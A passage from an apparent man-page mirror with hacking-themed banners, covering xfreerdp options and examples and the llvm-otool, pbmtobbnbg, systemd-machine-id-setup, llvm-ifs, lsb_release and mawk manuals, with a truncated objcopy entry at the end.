Send mouse motion (default:on)

/multimon[:force]

Use multiple monitors

+multitouch

Redirect multitouch input (default:off)

+multitransport

Support multitransport protocol (default:off)

-nego

protocol security negotiation (default:on)

/network:[modem|broadband|broadband-low|broadband-high|wan|lan|auto]

Network connection type

/nsc, /nscodec

NSCodec support

+offscreen-cache

offscreen bitmap cache (default:off)

/orientation:[0|90|180|270]

Orientation of display in degrees

+old-license

Use the old license workflow (no CAL and hwId set to 0) (default:off)

/p:password

Password

/parallel[:name[,path]]

Redirect parallel device

/parent-window:window-id

Parent window id

+password-is-pin

Use smart card authentication with password as smart card PIN (default:off)

/pcb:blob

Preconnection Blob

/pcid:id

Preconnection Id

/pheight:height

Physical height of display (in millimeters)

/play-rfx:pcap-file

Replay rfx pcap file

/port:number

Server port

-suppress-output

suppress output when minimized (default:on)

+print-reconnect-cookie

Print base64 reconnect cookie after connecting (default:off)

/printer[:name[,driver]]

Redirect printer device

/proxy:[proto://][user:password@]host:port

Proxy settings: override env. var (see also environment variable below). Protocol “socks5” should be given explicitly where “http” is default.

/pth:password-hash, /pass-the-hash:password-hash

Pass the hash (restricted admin mode)

/pwidth:width

Physical width of display (in millimeters)

/rdp2tcp:executable path[:arg…]

TCP redirection

/reconnect-cookie:base64-cookie

Pass base64 reconnect cookie to the connection

/redirect-prefer:FQDN|IP|NETBIOS,[…]

Override the preferred redirection order

/relax-order-checks, /relax-order-checks

Do not check if a RDP order was announced during capability exchange, only use when connecting to a buggy server

/restricted-admin, /restrictedAdmin

Restricted admin mode

/rfx

RemoteFX

/rfx-mode:[image|video]

RemoteFX mode

/scale:[100|140|180]

Scaling factor of the display (default:100)

/scale-desktop:percentage

Scaling factor for desktop applications (value between 100 and 500) (default:100)

/scale-device:100|140|180

Scaling factor for app store applications (default:100)

/sec:[rdp|tls|nla|ext]

Force specific protocol security

+sec-ext

NLA extended protocol security (default:off)

-sec-nla

NLA protocol security (default:on)

-sec-rdp

RDP protocol security (default:on)

-sec-tls

TLS protocol security (default:on)

/serial[:name[,path[,driver[,permissive]]]], /tty[:name[,path[,driver[,permissive]]]]

Redirect serial device

/shell:shell

Alternate shell

/shell-dir:dir

Shell working directory

/size:widthxheight or percent%[wh]

Screen size (default:1024x768)

/smart-sizing[:widthxheight]

Scale remote desktop to window size

/smartcard[:str[,str…]]

Redirect the smartcard devices containing any of the <str> in their names.

/smartcard-logon

Activates Smartcard Logon authentication. (EXPERIMENTAL: NLA not supported)

/sound[:[sys:sys,][dev:dev,][format:format,][rate:rate,][channel:channel,][latency:latency,][quality:quality]], /audio[:[sys:sys,][dev:dev,][format:format,][rate:rate,][channel:channel,][latency:latency,][quality:quality]]

Audio output (sound)

/span

Span screen over multiple monitors

/spn-class:service-class

SPN authentication service class

/ssh-agent, /ssh-agent

SSH Agent forwarding channel

/t:title, /title:title

Window title

-themes

themes (default:on)

/timeout:time in ms, /timeout:time in ms

Advanced setting for high latency links: Adjust connection timeout, use if you encounter timeout failures with your connection (default:9000)

/tls-ciphers:[netmon|ma|ciphers]

Allowed TLS ciphers

/tls-seclevel:level

TLS security level - defaults to 1 (default:1)

+enforce-tlsv1_2

Force use of TLS1.2 for connection. Some servers have a buggy TLS version negotiation and might fail without this (default:off)

-toggle-fullscreen

Alt+Ctrl+Enter to toggle fullscreen (default:on)

/tune:setting:value,setting:value

[experimental] directly manipulate freerdp settings, use with extreme caution! (default:)

/tune-list

Print options allowed for /tune

/u:[[domain*user*|user[@domain]]

Username

+unmap-buttons

Let server see real physical pointer button (default:off)

/v:server[:port]

Server hostname

/vc:channel[,options]

Static virtual channel

/version

Print version

/video

Video optimized remoting channel

/vmconnect[:vmid]

Hyper-V console (use port 2179, disable negotiation)

/w:width

Width (default:1024)

-wallpaper

wallpaper (default:on)

+window-drag

full window drag (default:off)

/window-position:xposxypos

window position

/wm-class:class-name

Set the WM_CLASS hint for the window instance

/workarea

Use available work area

ENVIRONMENT VARIABLES

wlog environment variable

xfreerdp uses wLog as its log facility, you can refer to the corresponding man page (wlog(7)) for more informations. Arguments passed via the /log-level or /log-filters have precedence over the environment variables.

EXAMPLES

xfreerdp connection.rdp /p:Pwd123! /f

Connect in fullscreen mode using a stored configuration connection.rdp and the password Pwd123!

xfreerdp /u:USER /size:50%h /v:rdp.contoso.com

Connect to host rdp.contoso.com with user USER and a size of 50 percent of the height. If width (w) is set instead of height (h) like /size:50%w. 50 percent of the width is used.

xfreerdp /u:CONTOSO\JohnDoe /p:Pwd123! /v:rdp.contoso.com

Connect to host rdp.contoso.com with user CONTOSO\JohnDoe and password Pwd123!

xfreerdp /u:JohnDoe /p:Pwd123! /w:1366 /h:768 /v:192.168.1.100:4489

Connect to host 192.168.1.100 on port 4489 with user JohnDoe, password Pwd123!. The screen width is set to 1366 and the height to 768

xfreerdp /u:JohnDoe /p:Pwd123! /vmconnect:C824F53E-95D2-46C6-9A18-23A5BB403532 /v:192.168.1.100

Establish a connection to host 192.168.1.100 with user JohnDoe, password Pwd123! and connect to Hyper-V console (use port 2179, disable negotiation) with VMID C824F53E-95D2-46C6-9A18-23A5BB403532

+clipboard

Activate clipboard redirection

/drive:home,/home/user

Activate drive redirection of /home/user as home drive

/smartcard:<device>

Activate smartcard redirection for device device

/printer:<device>,<driver>

Activate printer redirection for printer device using driver driver

/serial:<device>

Activate serial port redirection for port device

/parallel:<device>

Activate parallel port redirection for port device

/sound:sys:alsa

Activate audio output redirection using device sys:alsa

/microphone:sys:alsa

Activate audio input redirection using device sys:alsa

/multimedia:sys:alsa

Activate multimedia redirection using device sys:alsa

/usb:id,dev:054c:0268

Activate USB device redirection for the device identified by 054c:0268

LINKS

http://www.freerdp.com/

AUTHOR

The FreeRDP Team

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1427 - Linux cli command llvm-otool-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-otool-16 and provides detailed information about the command llvm-otool-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-otool-16.

NAME 🖥️ llvm-otool-16 🖥️

otool - Mach-O dumping tool

SYNOPSIS

llvm-otool [option…] [file…]

DESCRIPTION

llvm-otool is a tool for dumping Mach-O files.

It attempts to be command-line-compatible and output-compatible with macOS’s otool.

OPTIONS

-arch <value>
Select slice of universal Mach-O file.

-chained_fixups
Print chained fixup information.

-C
Print linker optimization hints.

-dyld_info
Print bind and rebase information.

-D
Print shared library id.

-d
Print data section.

-f
Print universal headers.

-G
Print data-in-code table.

–help-hidden
Print help for hidden flags.

–help
Print help.

-h
Print mach header.

-I
Print indirect symbol table.

-j
Print opcode bytes.

-L
Print used shared libraries.

-l
Print load commands.

-mcpu=<value>
Select cpu for disassembly.

-o
Print Objective-C segment.

-P
Print __TEXT,__info_plist section as strings.

-p <function name>
Start disassembly at <function name>.

-r
Print relocation entries.

-s <segname> <sectname>
Print contents of section.

-t
Print text section.

–version
Print version.

-V
Symbolize disassembled operands (implies -v).

-v
Verbose output / disassemble when printing text sections.

-X
Omit leading addresses or headers.

-x
Print all text sections.

@<FILE>
Read command-line options and commands from response file <FILE>.

EXIT STATUS

llvm-otool exits with a non-zero exit code if there is an error. Otherwise, it exits with code 0.

BUGS

To report bugs, please visit <https://github.com/llvm/llvm-project/labels/tools:llvm-objdump/>.

SEE ALSO

llvm-nm(1), llvm-objdump(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1428 - Linux cli command pbmtobbnbg

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtobbnbg and provides detailed information about the command pbmtobbnbg, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtobbnbg.

.

NAME 🖥️ pbmtobbnbg 🖥️

convert a PBM image into BitGraph graphics

SYNOPSIS

pbmtobbng [rasterop] [x y]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtobbnbg reads a PBM image as input and produces BBN BitGraph terminal Display Pixel Data (DPD) sequence as output.

The rasterop can be specified on the command line. If you omit this, the program uses 3 (replace). You can also specify a position in (x,y) coordinates. If you give both, the rasterop comes first. The PBM always comes from Standard Input.

Note that there is no bbnbgtopbm tool.

OPTIONS

There are no command line options defined specifically for pbmtobbnbg, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pbm(1)

AUTHOR

Copyright 1989 by Mike Parker.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtobbnbg.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1429 - Linux cli command systemd-machine-id-setup

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd-machine-id-setup and provides detailed information about the command systemd-machine-id-setup, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd-machine-id-setup.

NAME 🖥️ systemd-machine-id-setup 🖥️

machine-id-setup - Initialize the machine ID in /etc/machine-id

SYNOPSIS

systemd-machine-id-setup

DESCRIPTION

systemd-machine-id-setup may be used by system installer tools to initialize the machine ID stored in /etc/machine-id at install time, with a provisioned or randomly generated ID. See machine-id(5) for more information about this file.

If the tool is invoked without the –commit switch, /etc/machine-id is initialized with a valid, new machine ID if it is missing or empty. The new machine ID will be acquired in the following fashion:

1.

If a valid machine ID is stored in /run/machine-id, the machine ID is copied and used to initialize the machine ID in /etc/machine-id. This step is skipped if –root= is specified or running in a chroot environment.

2.

If a valid D-Bus machine ID is already configured for the system, the D-Bus machine ID is copied and used to initialize the machine ID in /etc/machine-id.

3.

If a valid machine ID is provided through system.machine_id credential, the machine ID is copied and used to initialize the machine ID in /etc/machine-id. This step is skipped if –root= is specified or running in a chroot environment.

4.

If run inside a KVM virtual machine and a UUID is configured (via the -uuid option), this UUID is used to initialize the machine ID. The caller must ensure that the UUID passed is sufficiently unique and is different for every booted instance of the VM. This step is skipped if –root= is specified or running in a chroot environment.

5.

Similarly, if run inside a Linux container environment and a UUID is configured for the container, this is used to initialize the machine ID. For details, see the documentation of the Container Interface[1]. This step is skipped if –root= is specified or running in a chroot environment.

6.

Otherwise, a new ID is randomly generated.

The –commit switch may be used to commit a transient machined ID to disk, making it persistent. For details, see below.

Use systemd-firstboot(1) to initialize the machine ID on mounted (but not booted) system images.

OPTIONS

The following options are understood:

**–root=**path

Takes a directory path as argument. All paths operated on will be prefixed with the given alternate root path, including the path for /etc/machine-id itself.

Added in version 212.

**–image=**path

Takes a path to a device node or regular file as argument. This is similar to –root= as described above, but operates on a disk image instead of a directory tree.

Added in version 249.

**–image-policy=**policy

Takes an image policy string as argument, as per systemd.image-policy(7). The policy is enforced when operating on the disk image specified via –image=, see above. If not specified defaults to the “*” policy, i.e. all recognized file systems in the image are used.

–commit

Commit a transient machine ID to disk. This command may be used to convert a transient machine ID into a persistent one. A transient machine ID file is one that was bind mounted from a memory file system (usually “tmpfs”) to /etc/machine-id during the early phase of the boot process. This may happen because /etc/ is initially read-only and was missing a valid machine ID file at that point.

This command will execute no operation if /etc/machine-id is not mounted from a memory file system, or if /etc/ is read-only. The command will write the current transient machine ID to disk and unmount the /etc/machine-id mount point in a race-free manner to ensure that this file is always valid and accessible for other processes.

This command is primarily used by the systemd-machine-id-commit.service(8) early boot service.

Added in version 227.

–print

Print the machine ID generated or committed after the operation is complete.

Added in version 231.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

EXIT STATUS

On success, 0 is returned, a non-zero failure code otherwise.

SEE ALSO

systemd(1), machine-id(5), systemd-machine-id-commit.service(8), dbus-uuidgen(1), systemd-firstboot(1)

NOTES

Container Interface

https://systemd.io/CONTAINER_INTERFACE

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1430 - Linux cli command llvm-ifs-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-ifs-17 and provides detailed information about the command llvm-ifs-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-ifs-17.

NAME 🖥️ llvm-ifs-17 🖥️

ifs - shared object stubbing tool

SYNOPSIS

llvm-ifs [options] inputs

DESCRIPTION

llvm-ifs is a tool that jointly produces human readable text-based stubs (.ifs files) for shared objects and linkable shared object stubs (.so files) from either ELF shared objects or text-based stubs. The text-based stubs is useful for monitoring ABI changes of the shared object. The linkable shared object stubs can be used to avoid unnecessary relinks when the ABI of shared libraries does not change.

IFS FORMATS

Here is an example of the text representation (IFS) of a shared object produced by the llvm-ifs:

— !ifs-v1 IFSVersion: 3.0 SoName: libtest.so /* Optional / Target: x86_64-unknown-linux-gnu / Optional, format 1, same format as llvm target triple / Target: { Arch: x86_64, Endianness: little, Bitwidth: 64 } / Optional, format 2 */ NeededLibs: - libc.so.6 Symbols: - { Name: sym0, Type: Notype } - { Name: sym1, Type: Object, Size: 0 } - { Name: sym2, Type: Func, Weak: false } - { Name: sym3, Type: TLS } - { Name: sym4, Type: Unknown, Warning: foo } …

  • IFSVersion: Version of the IFS file for reader compatibility.

  • SoName (optional): Name of the shared object file that is being stubbed.

  • Target (optional): The architecture, endianness and bitwise information of this shared object. It can be either in explicit format or in implicit LLVM triple format. It can be optional and can be overridden from command line options.

  • NeededLibs: The list of the external shared objects that this library depends on.

  • Symbols: A collection of all data needed to link objects for each symbol, sorted by name in ascending order.

    • Name: Symbol name.

    • Type: Whether the symbol is an object, function, no-type, thread local storage, or unknown. Symbol types not explicitly supported are mapped as unknown to improve signal-to-noise ratio.

    • Size: The size of the symbol in question, doesn’t apply to functions, and is optional for NoType symbols.

    • Undefined: Whether or not the symbol is defined in this shared object file.

    • Weak: Whether or not the symbol should be treated as weak.

    • Warning (optional): Warning text to output when this symbol is linked against.

This YAML based text format contains everything that is needed to generate a linkable ELF shared object as well as an Apple TAPI format file. The ordering of symbols is sorted, so these files can be easily compared using diff tools. If the content of the file changes, it indicates a potentially ABI breaking change.

ELF STUB FORMAT

A minimum ELF file that can be used by linker should have following sections properly populated:

  • ELF header.

  • Section headers.

  • Dynamic symbol table (.dynsym section).

  • Dynamic string table (.dynstr section).

  • Dynamic table (.dynamic section).

    • DT_SYMTAB entry.

    • DT_STRTAB entry.

    • DT_STRSZ entry.

    • DT_NEEDED entries. (optional)

    • DT_SONAME entry. (optional)

  • Section header string table (.shstrtab section)

This ELF file may have compatibility issues with ELF analysis tools that rely on the program headers. Linkers like LLD work fine with such a minimum ELF file without errors.

OPTIONS

–input-format=[IFS|ELF|OtherObjectFileFormats]
Specify input file format. Currently, only text IFS files and ELF shared object files are supported. This flag is optional as the input format can be inferred.

–output-elf=<output-filename>
Specify the output file for ELF shared object stub.

–output-ifs=<output-filename>
Specify the output file for text IFS.

–output-tbd=<output-filename>
Specify the output file for Apple TAPI tbd.

–arch=[x86_64|AArch64|…]
This flag is optional and it should only be used when reading an IFS file which does not define the Arch (architecture). This flag defines the architecture of the output file, and can be any string supported by ELF ‘e_machine’ field. If the value is conflicting with the IFS file, an error will be reported and the program will stop.

–endianness=[little|big]
This flag is optional and it should only be used when reading an IFS file which does not define the Endianness. This flag defines the endianness of the output file. If the value is conflicting with the IFS file, an error will be reported and the program will stop.

–bitwidth=[32|64]
This flag is optional and it should only be used when reading an IFS file which does not define the BitWidth. This flag defines the bit width of the output file. If the value is conflicting with the input IFS file, an error will be reported and the program will stop.

–target=<target triple>
This flag is optional and should only be used when reading an IFS file which does not define any target information. This flag defines architecture, endianness and bit width of the output file using llvm target triple. This flag cannot be used simultaneously with other target related flags.

–hint-ifs-target=<target triple>
This flag is optional and should only be used when reading an ELF shared object and generating an IFS file. by default, llvm-ifs will use ‘Arch, Endianness and BitWidth’ fields to reflect the target information from the input object file. Using this flag will tell llvm-ifs the expected target triple in the output IFS file. If the value matches the target information from the object file, this value will be used in the ‘Target:’ filed in the generated IFS. If it conflicts with the input object file, an error will be reported and the program will stop.

–hint-ifs-target
This flag is optional and should only be used when outputting an IFS file. This flag strips the Arch field from the IFS file so it can be overridden later.

–strip-ifs-endianness
This flag is optional and should only be used when outputting an IFS file. This flag strips the Endianness field from the IFS file so it can be overridden later.

–strip-ifs-bitwidth
This flag is optional and should only be used when outputting an IFS file. This flag strips the BitWidth field from the IFS file so it can be overridden later.

–strip-ifs-target
This flag is optional and should only be used when outputting an IFS file. This flag strips the Target field from the IFS file so it can be overridden later.

–write-if-changed
When this flag is set, llvm-ifs will only write the output file if it does not already exist or the content will be different from the existing file.

–strip-size
When this flag is set, llvm-ifs will remove the size field from the output ifs file. This is useful for shared objects that only intend to be linked against position independent code which doesn’t need copy relocations, or where the size of an object is not a useful part of the abi to track.

EXIT STATUS

If llvm-ifs succeeds, it will exit with 0. Otherwise, if an error occurs, it will exit with a non-zero value.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1431 - Linux cli command lsb_release

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lsb_release and provides detailed information about the command lsb_release, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lsb_release.

NAME 🖥️ lsb_release 🖥️

print distribution-specific information (minimal implementation).

SYNOPSIS

lsb_release [options]

DESCRIPTION

This is a bare-bones version of the lsb_release command, implemented as a tiny POSIX shell script (less than 100 lines of commented code).

Instead of using LSB packages, this version of lsb_release uses the information in /etc/os-release and /usr/lib/os-release. Nevertheless, the output of this version is byte-for-byte compatible with the Python-based version provided by Debian and its derivatives.

Using this implementation it is possible to avoid installing Python in a base OS image while still retaining compatibility with older scripts that expect lsb_release to exist.

OPTIONS

The program follows the usual GNU command line syntax, with long options starting with two dashes (--). A summary of options are included below.

-h, –help
Show a help message with a list of options and exit.

-v, –version
Show LSB modules this system supports.

-i, –id
Show distributor ID.

-d, –description
Show description of this distribution.

-r, –release
Show release number of this distribution.

-c, –codename
Show code name of this distribution.

-a, –all
Show all of the above information.

-s, –short
Show requested information in short format.

FILES

/usr/lib/os-release
Distribution-provided file with operating system identification data.

/etc/os-release
Machine-specific file with operating system identification data. If present, /etc/os-release is read instead of /usr/lib/os-release.

SEE ALSO

os-release (5)

AUTHOR

Gioele Barabucci <https://gioele.io>

LICENSE

This implementation of lsb_release is free software released under the terms of the ISC license.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1432 - Linux cli command mawk

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mawk and provides detailed information about the command mawk, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mawk.

NAME 🖥️ mawk 🖥️

pattern scanning and text processing language

SYNOPSIS

mawk [-W option] [-F value] [-v var=value] [- -] ‘program text’ [file …]
mawk [-W option] [-F value] [-v var=value] [-f program-file] [- -] [file …]

DESCRIPTION

mawk is an interpreter for the AWK Programming Language. The AWK language is useful for manipulation of data files, text retrieval and processing, and for prototyping and experimenting with algorithms. mawk is a new awk meaning it implements the AWK language as defined in Aho, Kernighan and Weinberger, The AWK Programming Language, Addison-Wesley Publishing, 1988 (hereafter referred to as the AWK book.) mawk conforms to the POSIX 1003.2 (draft 11.3) definition of the AWK language which contains a few features not described in the AWK book, and mawk provides a small number of extensions.

An AWK program is a sequence of pattern {action} pairs and function definitions. Short programs are entered on the command line usually enclosed in ’ ’ to avoid shell interpretation. Longer programs can be read in from a file with the -f option. Data input is read from the list of files on the command line or from standard input when the list is empty. The input is broken into records as determined by the record separator variable, RS. Initially, RS = and records are synonymous with lines. Each record is compared against each pattern and if it matches, the program text for {action} is executed.

OPTIONS

-F value
sets the field separator, FS, to value.

-f file
Program text is read from file instead of from the command line. Multiple -f options are allowed.

-v var=value
assigns value to program variable var.

- -
indicates the unambiguous end of options.

The above options will be available with any POSIX compatible implementation of AWK. Implementation specific options are prefaced with -W. mawk provides these:

-W dump
writes an assembler like listing of the internal representation of the program to stdout and exits 0 (on successful compilation).

-W exec file
Program text is read from file and this is the last option.

This is a useful alternative to -f on systems that support the #! magic number convention for executable scripts. Those implicitly pass the pathname of the script itself as the final parameter, and expect no more than one - option on the #! line. Because mawk can combine multiple -W options separated by commas, you can use this option when an additional -W option is needed.

-W help
prints a usage message to stderr and exits (same as -W usage).

-W interactive
sets unbuffered writes to stdout and line buffered reads from stdin. Records from stdin are lines regardless of the value of RS.

-W posix
modifies mawk’s behavior to be more POSIX-compliant:

  • forces mawk not to consider ' ’ to be space.

The original posix_space is recognized, but deprecated.

-W random=num
calls srand with the given parameter (and overrides the auto-seeding behavior).

-W sprintf=num
adjusts the size of mawk’s internal sprintf buffer to num bytes. More than rare use of this option indicates mawk should be recompiled.

-W traditional
Omit features such as interval expressions which were not supported by traditional awk.

-W usage
prints a usage message to stderr and exits (same as -W help).

-W version
mawk writes its version and copyright to stdout and compiled limits to stderr and exits 0.

mawk accepts abbreviations for any of these options, e.g., -W v and -Wv both tell mawk to show its version.

mawk allows multiple -W options to be combined by separating the options with commas, e.g., -Wsprint=2000,posix. This is useful for executable #! magic number invocations in which only one argument is supported, e.g., -Winteractive,exec.

THE AWK LANGUAGE

1. Program structure

An AWK program is a sequence of pattern {action} pairs and user function definitions.

A pattern can be:

BEGIN
END
expression
expression , expression

One, but not both, of pattern {action} can be omitted. If {action} is omitted it is implicitly { print }. If pattern is omitted, then it is implicitly matched. BEGIN and END patterns require an action.

Statements are terminated by newlines, semi-colons or both. Groups of statements such as actions or loop bodies are blocked via { … } as in C. The last statement in a block doesn’t need a terminator. Blank lines have no meaning; an empty statement is terminated with a semi-colon. Long statements can be continued with a backslash, . A statement can be broken without a backslash after a comma, left brace, &&, ||, do, else, the right parenthesis of an if, while or for statement, and the right parenthesis of a function definition. A comment starts with # and extends to, but does not include the end of line.

The following statements control program flow inside blocks.

if ( expr ) statement

if ( expr ) statement else statement

while ( expr ) statement

do statement while ( expr )

for ( opt_expr ; opt_expr ; opt_expr ) statement

for ( var in array ) statement

continue

break

2. Data types, conversion and comparison

There are two basic data types, numeric and string. Numeric constants can be integer like -2, decimal like 1.08, or in scientific notation like -1.1e4 or .28E-3. All numbers are represented internally and all computations are done in floating point arithmetic. So for example, the expression 0.2e2 == 20 is true and true is represented as 1.0.

String constants are enclosed in double quotes.

“This is a string with a newline at the end. "

Strings can be continued across a line by escaping (\ the newline. The following escape sequences are recognized.

	\		\
	\"		"
			alert, ascii 7
			backspace, ascii 8
				tab, ascii 9
	
	newline, ascii 10
			vertical tab, ascii 11
			formfeed, ascii 12
	
		carriage return, ascii 13
	\ddd		1, 2 or 3 octal digits for ascii ddd
	\xhh		1 or 2 hex digits for ascii  hh

If you escape any other character

1433 - Linux cli command i686-w64-mingw32-objcopy

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command i686-w64-mingw32-objcopy and provides detailed information about the command i686-w64-mingw32-objcopy, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the i686-w64-mingw32-objcopy.

NAME 🖥️ i686-w64-mingw32-objcopy 🖥️

copy and translate object files

SYNOPSIS

